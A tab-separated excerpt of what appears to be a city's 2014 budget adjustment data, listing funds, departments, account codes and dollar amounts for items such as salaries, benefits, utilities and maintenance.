7532	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7533	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	544150.0	TREES/SEEDS/PLANTS/FERTILIZER	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7534	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7535	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7536	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511749.0	VISION	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7537	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7538	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7539	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7540	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511748.0	DENTAL	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7541	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	522310.0	OFFICE SUPPLIES / EXPENSE	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7542	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7543	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	404420.0	5TH AND ARIZONA PARKING	608.0	Licenses and Permits	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7544	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	540590.0	EMPLOYEE RECOGNITION & APPRECI	804.0	 Supplies and Expenses	2014	390.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	390.0
7545	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2014	7131.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7131.0
7546	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511749.0	VISION		Salaries and Wages	2014	816.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	816.0
7547	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511774.0	RETIREMENT - AS NEEDED		Salaries and Wages	2014	1046.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1046.0
7548	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		EAP		Salaries and Wages	2014	618.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	618.0
7549	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2014	2050.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2050.0
7550	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533250.0	RESTROOM MAINTENANCE		 Supplies and Expenses	2014	15300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15300.0
7551	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	405750.0	VEHICLE MAINTENANCE	650.0	Charges for Service	2014	-5623563.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-5623563.0
7552	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	2073816.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2073816.0
7553	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511490.0	OVERTIME	808.0	Salaries and Wages	2014	84907.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	84907.0
7554	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		DCAP	804.0	Salaries and Wages	2014	480.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	480.0
7555	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2014	5916.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5916.0
7556	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	588100.0	EQUIP - PRODUCTION & OFFICE	804.0	 Supplies and Expenses	2014	124000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	124000.0
7557	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	39779.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	39779.0
7558	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-1489.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1489.0
7559	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2014	603.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	603.0
7560	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
7561	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	561504.0	SERIAL INEBRIATE PROG-HAP	816.0	 Supplies and Expenses	2014	335000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	335000.0
7562	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2014	-148095.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-148095.0
7563	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2014	-16561.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-16561.0
7564	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	-382.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-382.0
7565	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		DCAP	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7566	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7567	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7568	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7569	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	792644.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	792644.0
7570	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	12090.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12090.0
7571	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-3635.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-3635.0
7572	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2014	279715.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	279715.0
7573	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562155.0	PRESCHOOL-ERLY INT & VIOL PREV		 Supplies and Expenses	2014	71283.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	71283.0
7574	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563128.0	PARATRANSIT PROGRAM-GENERAL FD		 Supplies and Expenses	2014	93504.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	93504.0
7575	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562432.0	SHP-ST JOE	810.0	 Supplies and Expenses	2014	63432.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	63432.0
7576	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	1262.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1262.0
7577	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	404860.0	1630 5TH LOT 29 (5TH & COLORA)	608.0	Licenses and Permits	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7578	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CUST SUPPLIES CITY TV	808.0	 Supplies and Expenses	2014	5160.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5160.0
7579	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CUST SUPPLIES-CITY YARDS	808.0	 Supplies and Expenses	2014	5700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5700.0
7580	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2014	3600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3600.0
7581	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2014	3500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3500.0
7582	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	2760.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2760.0
7583	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522139.0	UTIL-WATER-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2014	140700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	140700.0
7584	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CUSTODIAL SUPP-TRIMANA	808.0	 Supplies and Expenses	2014	3800.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3800.0
7585	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533223.0	BLDG/STR MAINT-ACCESS CENTER	808.0	 Supplies and Expenses	2014	15000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15000.0
7586	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	566650.0	MALL MAINTENANCE	808.0	 Supplies and Expenses	2014	59000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	59000.0
7587	BA	IS	11	Beach Recreation Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2014	-3140.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-3140.0
7588	BA	IS	25	Water Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2014	-6718.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-6718.0
7589	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS		Salaries and Wages	2014	-48337.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-48337.0
7590	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	6914.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6914.0
7591	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511748.0	DENTAL	808.0	Salaries and Wages	2014	4551.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4551.0
7592	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2014	-68664.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-68664.0
7593	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	254617.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	254617.0
7594	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	448827.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	448827.0
7595	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	6602.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6602.0
7596	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	2988.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2988.0
7597	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	2392.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2392.0
7598	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	400620.0	RESURFACING PERMITS	612.0	Charges for Service	2014	-17479.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-17479.0
7599	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	408000.0	INTERFUND SERVICES-ST MAINTENA	612.0	Charges for Service	2014	-5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-5000.0
7600	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522230.0	CREDIT CARD FEES	804.0	 Supplies and Expenses	2014	2317730.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2317730.0
7601	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	544910.0	TRANSIT STORE EXPENSES	866.0	 Supplies and Expenses	2014	1817.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1817.0
7602	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	402050.0	TRANSPORTATION IMPACT FEE	622.0	Other	2014	-570000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-570000.0
7603	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2014	8614.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8614.0
7604	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	1562.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1562.0
7605	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	2475.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2475.0
7606	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	560070.0	INDUSTRIAL SAFETY SHOES		 Supplies and Expenses	2014	13530.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13530.0
7607	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522110.0	UTIL - LIGHT / POWER	804.0	 Supplies and Expenses	2014	24000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24000.0
7608	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561506.0	HOMELESS PREVENTION		 Supplies and Expenses	2014	39975.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	39975.0
7609	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	628598.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	628598.0
7610	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	5206.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5206.0
7611	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522120.0	UTILITIES - NATURAL GAS	810.0	 Supplies and Expenses	2014	19500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19500.0
7612	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2014	4771.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4771.0
7613	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2014	185725.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	185725.0
7614	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	555200.0	REIMBURSE ENGINEERING OFFICE	810.0	 Supplies and Expenses	2014	53393.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	53393.0
7615	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	566260.0	SPECIAL EVENTS	810.0	 Supplies and Expenses	2014	43000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	43000.0
7616	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	5993.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5993.0
7617	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511920.0	UNIFORM / TOOL ALLOWANCE	820.0	Salaries and Wages	2014	5100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5100.0
7618	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	522950.0	CNG FUEL	810.0	 Supplies and Expenses	2014	1150.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1150.0
7619	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533211.0	FAC MAINT SVCS-WORK ORDERS	810.0	 Supplies and Expenses	2014	45000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	45000.0
7620	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2014	12753.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12753.0
7621	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2014	740.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	740.0
7622	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	38078.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	38078.0
7623	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544140.0	STREET MATERIAL	808.0	 Supplies and Expenses	2014	293000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	293000.0
7624	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	6600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6600.0
7625	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2014	39411.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	39411.0
7626	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2014	7500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7500.0
7627	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533228.0	BLDG/STR MAINT-KEN EDWARDS	808.0	 Supplies and Expenses	2014	20000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20000.0
7628	BA	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2014	-2738.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2738.0
7629	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	5670.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5670.0
7630	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	63585.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	63585.0
7631	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511748.0	DENTAL	808.0	Salaries and Wages	2014	6983.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6983.0
7632	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	37556.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	37556.0
7633	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EAP	808.0	Salaries and Wages	2014	1653.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1653.0
7634	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DCAP	808.0	Salaries and Wages	2014	1104.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1104.0
7635	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	8282.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8282.0
7636	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		UNEMPLOYMENT	808.0	Salaries and Wages	2014	2193.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2193.0
7637	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DCAP	808.0	Salaries and Wages	2014	216.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	216.0
7638	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511749.0	VISION	808.0	Salaries and Wages	2014	550.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	550.0
7639	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	41793.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	41793.0
7640	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	85845.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	85845.0
7641	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	2806042.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2806042.0
7642	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522119.0	UTIL-ELEC-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2014	47069.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	47069.0
7643	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522129.0	UTIL-GAS-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
7644	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522129.0	UTIL-GAS-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2014	65000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	65000.0
7645	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2014	32650.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	32650.0
7646	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533215.0	BLDG/CUSTODIAL SUPPLIES-PSF	808.0	 Supplies and Expenses	2014	82900.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	82900.0
7647	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2014	41700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	41700.0
7648	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CONT SVCS-1730 4TH ST	808.0	 Supplies and Expenses	2014	21210.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	21210.0
7649	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	25000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25000.0
7650	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	566330.0	STREET LIGHT MAINTENANCE	808.0	 Supplies and Expenses	2014	190400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	190400.0
7651	BA	IS	58	Risk Management - Admin	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	808.0	Salaries and Wages	2014	-1915.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1915.0
7652	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2014	162418.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	162418.0
